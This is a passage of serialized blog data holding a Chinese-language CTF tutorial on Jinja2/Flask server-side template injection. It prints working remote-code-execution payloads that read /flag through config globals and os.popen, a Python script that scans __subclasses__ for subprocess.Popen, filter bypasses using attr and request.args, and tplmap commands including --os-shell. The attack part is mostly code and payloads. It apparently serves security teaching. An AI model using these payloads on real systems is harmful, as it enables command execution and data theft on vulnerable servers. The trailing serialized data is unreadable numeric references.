flag：",[31,7068,7070],{"className":267,"code":7069,"language":269,"meta":36,"style":36},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}\"\n",[26,7071,7072],{"__ignoreMap":36},[40,7073,7074,7076,7078,7081],{"class":42,"line":43},[40,7075,5437],{"class":276},[40,7077,5440],{"class":505},[40,7079,7080],{"class":284},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('cat%20/flag').read()}}",[40,7082,5446],{"class":505},[15,7084,423],{},[31,7086,7088],{"className":6813,"code":7087,"language":6815,"meta":36,"style":36},"\u003Ch1>Hello, flag{ssti_rce}!\u003C/h1>\n",[26,7089,7090],{"__ignoreMap":36},[40,7091,7092,7094,7096,7099,7101],{"class":42,"line":43},[40,7093,6822],{"class":682},[40,7095,6825],{"class":492},[40,7097,7098],{"class":682},">Hello, flag{ssti_rce}!\u003C/",[40,7100,6825],{"class":492},[40,7102,1175],{"class":682},[15,7104,7105,29,7113,7115],{},[333,7106,7107,7108,7110,7111],{},"为什么先试 ",[26,7109,5412],{}," 再试 ",[26,7112,6995],{},[26,7114,5412],{}," 只读当前用户信息，无副作用，适合验证命令是否真的执行；确认能执行后再读 flag，避免在 payload 有误时盲目尝试。",[355,7117,7119,7120,7123],{"id":7118},"_43-备选链subclasses-扫描","4.3 备选链：",[333,7121,7122],{},"subclasses"," 扫描",[15,7125,7126,7128,7129,7131,7132,307],{},[333,7127,335],{},"：当 ",[26,7130,6970],{}," 链被过滤或不可用时，用\"从 object 找所有子类\"的通用路径定位 ",[26,7133,7134],{},"subprocess.Popen",[15,7136,7137,7139,7140,29],{},[26,7138,6970],{}," 链不可用时，从字符串对象出发找 ",[26,7141,7134],{},[31,7143,7146],{"className":7144,"code":7145,"language":380,"meta":36},[378],"''.__class__.__mro__[1].__subclasses__()\n",[26,7147,7145],{"__ignoreMap":36},[15,7149,7150],{},"先用 Python 脚本找下标：",[31,7152,7154],{"className":841,"code":7153,"language":843,"meta":36,"style":36},"import requests\n\nurl = \"http://127.0.0.1:5000/\"\nfor i in range(500):\n    # 逐个尝试子类下标 0..499，把类名渲染出来。\n    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n    # ''：空字符串对象；.__class__：它的类 str；\n    # .__mro__[1]：继承链上的 object 类；\n    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n    # .__name__：该类的名字，会渲染到页面。\n    r = requests.get(url, params={\"name\": payload})\n    if \"Popen\" in r.text:\n        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n        print(\"Popen index:\", i)\n        break\n",[26,7155,7156,7161,7165,7170,7175,7180,7185,7190,7195,7200,7205,7210,7215,7220,7225],{"__ignoreMap":36},[40,7157,7158],{"class":42,"line":43},[40,7159,7160],{},"import requests\n",[40,7162,7163],{"class":42,"line":49},[40,7164,59],{"emptyLinePlaceholder":58},[40,7166,7167],{"class":42,"line":55},[40,7168,7169],{},"url = \"http://127.0.0.1:5000/\"\n",[40,7171,7172],{"class":42,"line":62},[40,7173,7174],{},"for i in range(500):\n",[40,7176,7177],{"class":42,"line":68},[40,7178,7179],{},"    # 逐个尝试子类下标 0..499，把类名渲染出来。\n",[40,7181,7182],{"class":42,"line":74},[40,7183,7184],{},"    payload = \"{{''.__class__.__mro__[1].__subclasses__()[\" + str(i) + \"].__name__}}\"\n",[40,7186,7187],{"class":42,"line":80},[40,7188,7189],{},"    # ''：空字符串对象；.__class__：它的类 str；\n",[40,7191,7192],{"class":42,"line":86},[40,7193,7194],{},"    # .__mro__[1]：继承链上的 object 类；\n",[40,7196,7197],{"class":42,"line":92},[40,7198,7199],{},"    # .__subclasses__()：object 的所有子类列表；[i] 取第 i 个；\n",[40,7201,7202],{"class":42,"line":98},[40,7203,7204],{},"    # .__name__：该类的名字，会渲染到页面。\n",[40,7206,7207],{"class":42,"line":104},[40,7208,7209],{},"    r = requests.get(url, params={\"name\": payload})\n",[40,7211,7212],{"class":42,"line":110},[40,7213,7214],{},"    if \"Popen\" in r.text:\n",[40,7216,7217],{"class":42,"line":116},[40,7218,7219],{},"        # 页面出现 Popen 字样，说明找到了 subprocess.Popen 的下标。\n",[40,7221,7222],{"class":42,"line":122},[40,7223,7224],{},"        print(\"Popen index:\", i)\n",[40,7226,7227],{"class":42,"line":128},[40,7228,3646],{},[15,7230,423,7231,7234],{},[26,7232,7233],{},"Popen index: 258","（数字因 Python 版本而异）。",[15,7236,7237],{},"然后利用：",[31,7239,7242],{"className":7240,"code":7241,"language":380,"meta":36},[378],"{{''.__class__.__mro__[1].__subclasses__()[258]('id',shell=True,stdout=-1).communicate()[0]}}\n# Popen('id', shell=True, stdout=-1)：\n#   shell=True 表示通过 /bin/sh 执行字符串命令；\n#   stdout=-1 表示把标准输出接到管道；\n#   .communicate()[0]：等待进程结束并取标准输出。\n",[26,7243,7241],{"__ignoreMap":36},[10,7245,7247],{"id":7246},"五核心步骤-3过滤绕过","五、核心步骤 3：过滤绕过",[15,7249,7250,7252,7253,1013,7256,7259],{},[333,7251,335],{},"：题目过滤 ",[26,7254,7255],{},".",[26,7257,7258],{},"[]","、关键词时，用等价写法表达同样的调用。",[15,7261,7262,7264,7265,7268],{},[333,7263,341],{},"：点号访问可以用 Jinja2 的 ",[26,7266,7267],{},"attr"," 过滤器替代；字符串可以被拆到 URL 参数里，让模板中不出现被过滤的关键词。验证方式：逐步替换被过滤的部分，直到 payload 能被完整执行。",[15,7270,7271,7272,1013,7274,1013,7277,7280],{},"题目常过滤 ",[26,7273,7255],{},[26,7275,7276],{},"[",[26,7278,7279],{},"]"," 或关键词。",[355,7282,7284],{"id":7283},"_51-用-attr-过滤器替代点号","5.1 用 attr 过滤器替代点号",[31,7286,7289],{"className":7287,"code":7288,"language":380,"meta":36},[378],"{{config|attr('__class__')|attr('__init__')|attr('__globals__')}}\n",[26,7290,7288],{"__ignoreMap":36},[355,7292,7294],{"id":7293},"_52-把敏感字符串放进-url-参数","5.2 把敏感字符串放进 URL 参数",[31,7296,7299],{"className":7297,"code":7298,"language":380,"meta":36},[378],"/?name={{config.__class__.__init__.__globals__[request.args.g].popen(request.args.c).read()}}&g=os&c=cat /flag\n",[26,7300,7298],{"__ignoreMap":36},[15,7302,7303,7304,1013,7306,7309],{},"模板里不再出现 ",[26,7305,6984],{},[26,7307,7308],{},"cat"," 等关键词，可绕过字符串匹配类过滤器。",[10,7311,2055],{"id":2054},[355,7313,7315],{"id":7314},"工具-1curl","工具 1：curl",[31,7317,7319],{"className":267,"code":7318,"language":269,"meta":36,"style":36},"curl \"http://target/?name={{7*7}}\"          # 探测\ncurl -G \"http://target/\" --data-urlencode \"name={{...}}\"   # 自动 URL 编码\n",[26,7320,7321,7335],{"__ignoreMap":36},[40,7322,7323,7325,7327,7330,7332],{"class":42,"line":43},[40,7324,5437],{"class":276},[40,7326,5440],{"class":505},[40,7328,7329],{"class":284},"http://target/?name={{7*7}}",[40,7331,6080],{"class":505},[40,7333,7334],{"class":2552},"          # 探测\n",[40,7336,7337,7339,7342,7344,7347,7349,7352,7354,7357,7359],{"class":42,"line":49},[40,7338,5437],{"class":276},[40,7340,7341],{"class":280}," -G",[40,7343,5440],{"class":505},[40,7345,7346],{"class":284},"http://target/",[40,7348,6080],{"class":505},[40,7350,7351],{"class":280}," --data-urlencode",[40,7353,5440],{"class":505},[40,7355,7356],{"class":284},"name={{...}}",[40,7358,6080],{"class":505},[40,7360,7361],{"class":2552},"   # 自动 URL 编码\n",[355,7363,7365],{"id":7364},"工具-2requests","工具 2：requests",[31,7367,7369],{"className":841,"code":7368,"language":843,"meta":36,"style":36},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\n# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\nprint(r.text)\n",[26,7370,7371,7375,7379,7384,7389,7394,7399,7404],{"__ignoreMap":36},[40,7372,7373],{"class":42,"line":43},[40,7374,7160],{},[40,7376,7377],{"class":42,"line":49},[40,7378,59],{"emptyLinePlaceholder":58},[40,7380,7381],{"class":42,"line":55},[40,7382,7383],{},"url = \"http://target/\"\n",[40,7385,7386],{"class":42,"line":62},[40,7387,7388],{},"payload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\n",[40,7390,7391],{"class":42,"line":68},[40,7392,7393],{},"r = requests.get(url, params={\"name\": payload})\n",[40,7395,7396],{"class":42,"line":74},[40,7397,7398],{},"# requests.get 的 params 参数：把字典转成查询字符串并自动 URL 编码。\n",[40,7400,7401],{"class":42,"line":80},[40,7402,7403],{},"# 例如 payload 里的空格、引号会被编码，避免手工转义出错。\n",[40,7405,7406],{"class":42,"line":86},[40,7407,7408],{},"print(r.text)\n",[15,7410,7411,7414],{},[26,7412,7413],{},"params"," 自动完成 URL 编码，比手工拼接省事。",[355,7416,7418],{"id":7417},"工具-3tplmap","工具 3：tplmap",[15,7420,7421],{},"模板注入自动化工具：",[31,7423,7425],{"className":267,"code":7424,"language":269,"meta":36,"style":36},"git clone https://github.com/epinna/tplmap\ncd tplmap && pip install -r requirements.txt\npython tplmap.py -u \"http://target/?name=*\"          # * 是注入点标记\npython tplmap.py -u \"http://target/?name=*\" --os-shell\n",[26,7426,7427,7436,7455,7474],{"__ignoreMap":36},[40,7428,7429,7431,7433],{"class":42,"line":43},[40,7430,5264],{"class":276},[40,7432,5267],{"class":284},[40,7434,7435],{"class":284}," https://github.com/epinna/tplmap\n",[40,7437,7438,7440,7443,7445,7447,7449,7452],{"class":42,"line":49},[40,7439,687],{"class":686},[40,7441,7442],{"class":284}," tplmap",[40,7444,683],{"class":682},[40,7446,3685],{"class":276},[40,7448,645],{"class":284},[40,7450,7451],{"class":280}," -r",[40,7453,7454],{"class":284}," requirements.txt\n",[40,7456,7457,7459,7462,7464,7466,7469,7471],{"class":42,"line":55},[40,7458,843],{"class":276},[40,7460,7461],{"class":284}," tplmap.py",[40,7463,6073],{"class":280},[40,7465,5440],{"class":505},[40,7467,7468],{"class":284},"http://target/?name=*",[40,7470,6080],{"class":505},[40,7472,7473],{"class":2552},"          # * 是注入点标记\n",[40,7475,7476,7478,7480,7482,7484,7486,7488],{"class":42,"line":62},[40,7477,843],{"class":276},[40,7479,7461],{"class":284},[40,7481,6073],{"class":280},[40,7483,5440],{"class":505},[40,7485,7468],{"class":284},[40,7487,6080],{"class":505},[40,7489,7490],{"class":280}," --os-shell\n",[10,7492,7494],{"id":7493},"七小-ctf-实战flask-模板题","七、小 CTF 实战：Flask 模板题",[15,7496,2149,7497,7500,7501,307],{},[26,7498,7499],{},"http://target/?name="," 存在 SSTI，flag 在 ",[26,7502,7503],{},"/flag",[355,7505,7507],{"id":7506},"第一步探测","第一步：探测",[15,7509,7510,7512],{},[333,7511,335],{},"：用最便宜的请求确认漏洞类型，再决定用哪条链。",[31,7514,7516],{"className":267,"code":7515,"language":269,"meta":36,"style":36},"curl \"http://target/?name={{7*7}}\"\n",[26,7517,7518],{"__ignoreMap":36},[40,7519,7520,7522,7524,7526],{"class":42,"line":43},[40,7521,5437],{"class":276},[40,7523,5440],{"class":505},[40,7525,7329],{"class":284},[40,7527,5446],{"class":505},[15,7529,7530,7531,7533],{},"响应含 ",[26,7532,6881],{}," → 确认。",[355,7535,7537],{"id":7536},"第二步直接打","第二步：直接打",[15,7539,7540,7542,7543,7546,7547,7549,7550,7552],{},[333,7541,341],{},"：先 ",[26,7544,7545],{},"config.__globals__"," 链试 ",[26,7548,6995],{},"；如果响应没出现 flag 内容，先改用 ",[26,7551,5412],{}," 确认命令是否执行，再排查是不是命令被截断（如空格需要编码）。",[31,7554,7556],{"className":841,"code":7555,"language":843,"meta":36,"style":36},"import requests\n\nurl = \"http://target/\"\npayload = \"{{config.__class__.__init__.__globals__['os'].popen('cat /flag').read()}}\"\nr = requests.get(url, params={\"name\": payload})\nprint(r.text)\n",[26,7557,7558,7562,7566,7570,7574,7578],{"__ignoreMap":36},[40,7559,7560],{"class":42,"line":43},[40,7561,7160],{},[40,7563,7564],{"class":42,"line":49},[40,7565,59],{"emptyLinePlaceholder":58},[40,7567,7568],{"class":42,"line":55},[40,7569,7383],{},[40,7571,7572],{"class":42,"line":62},[40,7573,7388],{},[40,7575,7576],{"class":42,"line":68},[40,7577,7393],{},[40,7579,7580],{"class":42,"line":74},[40,7581,7408],{},[15,7583,7584],{},"预期输出中出现：",[31,7586,7589],{"className":7587,"code":7588,"language":380,"meta":36},[378],"flag{ssti_rce}\n",[26,7590,7588],{"__ignoreMap":36},[355,7592,7594],{"id":7593},"第三步被过滤时","第三步：被过滤时",[15,7596,7597,7599,7600,7602],{},[333,7598,341],{},"：把点号换成 ",[26,7601,7267],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7604,7605],{},"改用 attr 与 request.args 组合：",[31,7607,7610],{"className":7608,"code":7609,"language":380,"meta":36},[378],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[26,7611,7609],{"__ignoreMap":36},[10,7613,2333],{"id":2332},[15,7615,7616,7617,3278,7619,7622,7623,2138,7625,7628],{},"SSTI 主线：探测 ",[26,7618,6787],{},[26,7620,7621],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[26,7624,7267],{},[26,7626,7627],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[1098,7630,7631],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":36,"searchDepth":49,"depth":49,"links":7633},[7634,7635,7636,7637,7638,7639,7640,7641],{"id":6600,"depth":55,"text":6601},{"id":6679,"depth":55,"text":6680},{"id":6769,"depth":55,"text":6770},{"id":6956,"depth":55,"text":6957},{"id":7246,"depth":55,"text":7247},{"id":2054,"depth":55,"text":2055},{"id":7493,"depth":55,"text":7494},{"id":2332,"depth":55,"text":2333},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":1115,"image":7644,"alt":7645,"tags":7646,"published":58},"/blogs-img/blog6.png","SSTI 深入实战",[1119,6587,7647,1122],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6595,"description":7642},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":4,"title":5,"body":7653,"description":1112,"extension":1113,"meta":8437,"navigation":58,"ogImage":1116,"path":1123,"seo":8439,"stem":1125,"__hash__":1126},{"type":7,"value":7654,"toc":8426},[7655,7657,7659,7661,7665,7817,7819,7833,7835,7843,7847,7857,7861,7863,7867,7877,7879,7889,7891,7896,7900,7902,7910,7924,7926,7931,7937,7939,7943,7953,7955,7985,7987,8015,8021,8023,8053,8055,8075,8077,8079,8127,8131,8133,8141,8143,8148,8150,8160,8172,8174,8179,8187,8189,8194,8196,8208,8210,8215,8217,8219,8223,8233,8285,8287,8297,8299,8304,8306,8316,8320,8322,8392,8394,8418,8420,8424],[10,7656,13],{"id":12},[15,7658,17],{},[10,7660,21],{"id":20},[15,7662,24,7663,29],{},[26,7664,28],{},[31,7666,7667],{"className":33,"code":34,"language":35,"meta":36,"style":36},[26,7668,7669,7673,7677,7681,7685,7689,7693,7697,7701,7705,7709,7713,7717,7721,7725,7729,7733,7737,7741,7745,7749,7753,7757,7761,7765,7769,7773,7777,7781,7785,7789,7793,7797,7801,7805,7809,7813],{"__ignoreMap":36},[40,7670,7671],{"class":42,"line":43},[40,7672,46],{},[40,7674,7675],{"class":42,"line":49},[40,7676,52],{},[40,7678,7679],{"class":42,"line":55},[40,7680,59],{"emptyLinePlaceholder":58},[40,7682,7683],{"class":42,"line":62},[40,7684,65],{},[40,7686,7687],{"class":42,"line":68},[40,7688,71],{},[40,7690,7691],{"class":42,"line":74},[40,7692,77],{},[40,7694,7695],{"class":42,"line":80},[40,7696,83],{},[40,7698,7699],{"class":42,"line":86},[40,7700,89],{},[40,7702,7703],{"class":42,"line":92},[40,7704,95],{},[40,7706,7707],{"class":42,"line":98},[40,7708,101],{},[40,7710,7711],{"class":42,"line":104},[40,7712,107],{},[40,7714,7715],{"class":42,"line":110},[40,7716,113],{},[40,7718,7719],{"class":42,"line":116},[40,7720,119],{},[40,7722,7723],{"class":42,"line":122},[40,7724,125],{},[40,7726,7727],{"class":42,"line":128},[40,7728,131],{},[40,7730,7731],{"class":42,"line":134},[40,7732,137],{},[40,7734,7735],{"class":42,"line":140},[40,7736,143],{},[40,7738,7739],{"class":42,"line":146},[40,7740,149],{},[40,7742,7743],{"class":42,"line":152},[40,7744,155],{},[40,7746,7747],{"class":42,"line":158},[40,7748,161],{},[40,7750,7751],{"class":42,"line":164},[40,7752,167],{},[40,7754,7755],{"class":42,"line":170},[40,7756,173],{},[40,7758,7759],{"class":42,"line":176},[40,7760,179],{},[40,7762,7763],{"class":42,"line":182},[40,7764,59],{"emptyLinePlaceholder":58},[40,7766,7767],{"class":42,"line":187},[40,7768,190],{},[40,7770,7771],{"class":42,"line":193},[40,7772,196],{},[40,7774,7775],{"class":42,"line":199},[40,7776,202],{},[40,7778,7779],{"class":42,"line":205},[40,7780,208],{},[40,7782,7783],{"class":42,"line":211},[40,7784,214],{},[40,7786,7787],{"class":42,"line":217},[40,7788,220],{},[40,7790,7791],{"class":42,"line":223},[40,7792,226],{},[40,7794,7795],{"class":42,"line":229},[40,7796,232],{},[40,7798,7799],{"class":42,"line":235},[40,7800,238],{},[40,7802,7803],{"class":42,"line":241},[40,7804,244],{},[40,7806,7807],{"class":42,"line":247},[40,7808,250],{},[40,7810,7811],{"class":42,"line":253},[40,7812,256],{},[40,7814,7815],{"class":42,"line":259},[40,7816,179],{},[15,7818,264],{},[31,7820,7821],{"className":267,"code":268,"language":269,"meta":36,"style":36},[26,7822,7823],{"__ignoreMap":36},[40,7824,7825,7827,7829,7831],{"class":42,"line":43},[40,7826,277],{"class":276},[40,7828,281],{"class":280},[40,7830,285],{"class":284},[40,7832,288],{"class":284},[15,7834,291],{},[31,7836,7837],{"className":267,"code":294,"language":269,"meta":36,"style":36},[26,7838,7839],{"__ignoreMap":36},[40,7840,7841],{"class":42,"line":43},[40,7842,294],{"class":276},[15,7844,303,7845,307],{},[26,7846,306],{},[31,7848,7849],{"className":267,"code":310,"language":269,"meta":36,"style":36},[26,7850,7851],{"__ignoreMap":36},[40,7852,7853,7855],{"class":42,"line":43},[40,7854,317],{"class":276},[40,7856,320],{"class":284},[15,7858,303,7859,307],{},[26,7860,325],{},[10,7862,329],{"id":328},[15,7864,7865,336],{},[333,7866,335],{},[15,7868,7869,29,7871,345,7873,349,7875,353],{},[333,7870,341],{},[26,7872,344],{},[26,7874,348],{},[26,7876,352],{},[355,7878,358],{"id":357},[31,7880,7881],{"className":267,"code":361,"language":269,"meta":36,"style":36},[26,7882,7883],{"__ignoreMap":36},[40,7884,7885,7887],{"class":42,"line":43},[40,7886,368],{"class":276},[40,7888,371],{"class":284},[15,7890,374],{},[31,7892,7894],{"className":7893,"code":379,"language":380,"meta":36},[378],[26,7895,379],{"__ignoreMap":36},[15,7897,7898,388],{},[26,7899,387],{},[355,7901,392],{"id":391},[15,7903,395,7904,398,7906,401,7908,29],{},[26,7905,344],{},[26,7907,348],{},[26,7909,352],{},[31,7911,7912],{"className":267,"code":406,"language":269,"meta":36,"style":36},[26,7913,7914],{"__ignoreMap":36},[40,7915,7916,7918,7920,7922],{"class":42,"line":43},[40,7917,344],{"class":276},[40,7919,415],{"class":280},[40,7921,418],{"class":280},[40,7923,371],{"class":284},[15,7925,423],{},[31,7927,7929],{"className":7928,"code":427,"language":380,"meta":36},[378],[26,7930,427],{"__ignoreMap":36},[15,7932,7933,434,7935,438],{},[26,7934,348],{},[26,7936,437],{},[10,7938,442],{"id":441},[15,7940,7941,447],{},[333,7942,335],{},[15,7944,7945,452,7947,456,7949,460,7951,464],{},[333,7946,341],{},[26,7948,455],{},[26,7950,459],{},[26,7952,463],{},[355,7954,468],{"id":467},[31,7956,7957],{"className":267,"code":471,"language":269,"meta":36,"style":36},[26,7958,7959],{"__ignoreMap":36},[40,7960,7961,7963,7965,7967,7969,7971,7973,7975,7977,7979,7981,7983],{"class":42,"line":43},[40,7962,478],{"class":276},[40,7964,481],{"class":280},[40,7966,484],{"class":280},[40,7968,487],{"class":284},[40,7970,285],{"class":284},[40,7972,493],{"class":492},[40,7974,496],{"class":276},[40,7976,499],{"class":280},[40,7978,502],{"class":280},[40,7980,506],{"class":505},[40,7982,509],{"class":284},[40,7984,512],{"class":505},[15,7986,515],{},[31,7988,7989],{"className":518,"code":519,"language":520,"meta":36,"style":36},[26,7990,7991,7995,7999,8003,8007,8011],{"__ignoreMap":36},[40,7992,7993],{"class":42,"line":43},[40,7994,527],{},[40,7996,7997],{"class":42,"line":49},[40,7998,532],{},[40,8000,8001],{"class":42,"line":55},[40,8002,537],{},[40,8004,8005],{"class":42,"line":62},[40,8006,542],{},[40,8008,8009],{"class":42,"line":68},[40,8010,547],{},[40,8012,8013],{"class":42,"line":74},[40,8014,552],{},[15,8016,8017,557,8019,307],{},[26,8018,455],{},[26,8020,560],{},[355,8022,564],{"id":563},[31,8024,8025],{"className":267,"code":567,"language":269,"meta":36,"style":36},[26,8026,8027],{"__ignoreMap":36},[40,8028,8029,8031,8033,8035,8037,8039,8041,8043,8045,8047,8049,8051],{"class":42,"line":43},[40,8030,478],{"class":276},[40,8032,481],{"class":280},[40,8034,484],{"class":280},[40,8036,487],{"class":284},[40,8038,285],{"class":284},[40,8040,493],{"class":492},[40,8042,496],{"class":276},[40,8044,499],{"class":280},[40,8046,590],{"class":280},[40,8048,506],{"class":505},[40,8050,595],{"class":284},[40,8052,512],{"class":505},[15,8054,600],{},[31,8056,8057],{"className":518,"code":603,"language":520,"meta":36,"style":36},[26,8058,8059,8063,8067,8071],{"__ignoreMap":36},[40,8060,8061],{"class":42,"line":43},[40,8062,610],{},[40,8064,8065],{"class":42,"line":49},[40,8066,615],{},[40,8068,8069],{"class":42,"line":55},[40,8070,620],{},[40,8072,8073],{"class":42,"line":62},[40,8074,625],{},[355,8076,629],{"id":628},[15,8078,632],{},[31,8080,8081],{"className":267,"code":635,"language":269,"meta":36,"style":36},[26,8082,8083,8093,8103],{"__ignoreMap":36},[40,8084,8085,8087,8089,8091],{"class":42,"line":43},[40,8086,642],{"class":276},[40,8088,645],{"class":284},[40,8090,648],{"class":284},[40,8092,651],{"class":284},[40,8094,8095,8097,8099,8101],{"class":42,"line":49},[40,8096,656],{"class":276},[40,8098,659],{"class":284},[40,8100,663],{"class":662},[40,8102,666],{"class":284},[40,8104,8105,8107,8109,8111,8113,8115,8117,8119,8121,8123,8125],{"class":42,"line":55},[40,8106,671],{"class":276},[40,8108,674],{"class":284},[40,8110,663],{"class":662},[40,8112,679],{"class":284},[40,8114,683],{"class":682},[40,8116,687],{"class":686},[40,8118,674],{"class":284},[40,8120,663],{"class":662},[40,8122,694],{"class":284},[40,8124,683],{"class":682},[40,8126,699],{"class":276},[15,8128,702,8129,307],{},[26,8130,560],{},[15,8132,707],{},[31,8134,8135],{"className":33,"code":710,"language":35,"meta":36,"style":36},[26,8136,8137],{"__ignoreMap":36},[40,8138,8139],{"class":42,"line":43},[40,8140,710],{},[15,8142,719],{},[31,8144,8146],{"className":8145,"code":723,"language":380,"meta":36},[378],[26,8147,723],{"__ignoreMap":36},[10,8149,729],{"id":728},[31,8151,8152],{"className":267,"code":732,"language":269,"meta":36,"style":36},[26,8153,8154],{"__ignoreMap":36},[40,8155,8156,8158],{"class":42,"line":43},[40,8157,739],{"class":276},[40,8159,742],{"class":284},[31,8161,8162],{"className":745,"code":746,"language":739,"meta":36,"style":36},[26,8163,8164,8168],{"__ignoreMap":36},[40,8165,8166],{"class":42,"line":43},[40,8167,753],{},[40,8169,8170],{"class":42,"line":49},[40,8171,758],{},[15,8173,423],{},[31,8175,8177],{"className":8176,"code":764,"language":380,"meta":36},[378],[26,8178,764],{"__ignoreMap":36},[31,8180,8181],{"className":745,"code":769,"language":739,"meta":36,"style":36},[26,8182,8183],{"__ignoreMap":36},[40,8184,8185],{"class":42,"line":43},[40,8186,769],{},[15,8188,423],{},[31,8190,8192],{"className":8191,"code":781,"language":380,"meta":36},[378],[26,8193,781],{"__ignoreMap":36},[15,8195,786],{},[31,8197,8198],{"className":745,"code":789,"language":739,"meta":36,"style":36},[26,8199,8200,8204],{"__ignoreMap":36},[40,8201,8202],{"class":42,"line":43},[40,8203,796],{},[40,8205,8206],{"class":42,"line":49},[40,8207,801],{},[15,8209,423],{},[31,8211,8213],{"className":8212,"code":807,"language":380,"meta":36},[378],[26,8214,807],{"__ignoreMap":36},[15,8216,812],{},[10,8218,816],{"id":815},[15,8220,8221,821],{},[333,8222,335],{},[15,8224,8225,826,8227,830,8229,834,8231,838],{},[333,8226,341],{},[26,8228,829],{},[26,8230,833],{},[26,8232,837],{},[31,8234,8235],{"className":841,"code":842,"language":843,"meta":36,"style":36},[26,8236,8237,8241,8245,8249,8253,8257,8261,8265,8269,8273,8277,8281],{"__ignoreMap":36},[40,8238,8239],{"class":42,"line":43},[40,8240,850],{},[40,8242,8243],{"class":42,"line":49},[40,8244,855],{},[40,8246,8247],{"class":42,"line":55},[40,8248,860],{},[40,8250,8251],{"class":42,"line":62},[40,8252,865],{},[40,8254,8255],{"class":42,"line":68},[40,8256,59],{"emptyLinePlaceholder":58},[40,8258,8259],{"class":42,"line":74},[40,8260,874],{},[40,8262,8263],{"class":42,"line":80},[40,8264,879],{},[40,8266,8267],{"class":42,"line":86},[40,8268,884],{},[40,8270,8271],{"class":42,"line":92},[40,8272,889],{},[40,8274,8275],{"class":42,"line":98},[40,8276,894],{},[40,8278,8279],{"class":42,"line":104},[40,8280,899],{},[40,8282,8283],{"class":42,"line":110},[40,8284,904],{},[15,8286,907],{},[31,8288,8289],{"className":267,"code":910,"language":269,"meta":36,"style":36},[26,8290,8291],{"__ignoreMap":36},[40,8292,8293,8295],{"class":42,"line":43},[40,8294,917],{"class":276},[40,8296,920],{"class":284},[15,8298,923],{},[31,8300,8302],{"className":8301,"code":927,"language":380,"meta":36},[378],[26,8303,927],{"__ignoreMap":36},[15,8305,932],{},[31,8307,8308],{"className":267,"code":935,"language":269,"meta":36,"style":36},[26,8309,8310],{"__ignoreMap":36},[40,8311,8312,8314],{"class":42,"line":43},[40,8313,317],{"class":276},[40,8315,944],{"class":284},[15,8317,923,8318,307],{},[26,8319,949],{},[10,8321,953],{"id":952},[955,8323,8324,8334],{},[958,8325,8326],{},[961,8327,8328,8330,8332],{},[964,8329,966],{},[964,8331,969],{},[964,8333,972],{},[974,8335,8336,8346,8356,8368,8382],{},[961,8337,8338,8340,8342],{},[979,8339,368],{},[979,8341,983],{},[979,8343,8344],{},[26,8345,988],{},[961,8347,8348,8350,8352],{},[979,8349,344],{},[979,8351,995],{},[979,8353,8354],{},[26,8355,1000],{},[961,8357,8358,8360,8362],{},[979,8359,478],{},[979,8361,1007],{},[979,8363,8364,1013,8366],{},[26,8365,1012],{},[26,8367,1016],{},[961,8369,8370,8372,8374],{},[979,8371,1021],{},[979,8373,1024],{},[979,8375,8376,1013,8378,1013,8380],{},[26,8377,1029],{},[26,8379,1032],{},[26,8381,1035],{},[961,8383,8384,8386,8388],{},[979,8385,1040],{},[979,8387,1043],{},[979,8389,8390],{},[26,8391,1048],{},[10,8393,1052],{"id":1051},[1054,8395,8396,8402,8410,8414],{},[1057,8397,8398,1061,8400,307],{},[26,8399,1000],{},[26,8401,348],{},[1057,8403,8404,1068,8406,1071,8408,307],{},[26,8405,478],{},[26,8407,560],{},[26,8409,1074],{},[1057,8411,1077,8412,307],{},[26,8413,1080],{},[1057,8415,1083,8416,307],{},[26,8417,949],{},[10,8419,1089],{"id":1088},[15,8421,1092,8422,1096],{},[333,8423,1095],{},[1098,8425,1100],{},{"title":36,"searchDepth":49,"depth":49,"links":8427},[8428,8429,8430,8431,8432,8433,8434,8435,8436],{"id":12,"depth":55,"text":13},{"id":20,"depth":55,"text":21},{"id":328,"depth":55,"text":329},{"id":441,"depth":55,"text":442},{"id":728,"depth":55,"text":729},{"id":815,"depth":55,"text":816},{"id":952,"depth":55,"text":953},{"id":1051,"depth":55,"text":1052},{"id":1088,"depth":55,"text":1089},{"date":1115,"image":1116,"alt":1117,"tags":8438,"published":58},[1119,1120,1121,1122],{"title":5,"description":1112},{"id":8441,"title":8442,"body":8443,"description":9528,"extension":1113,"meta":9529,"navigation":58,"ogImage":9530,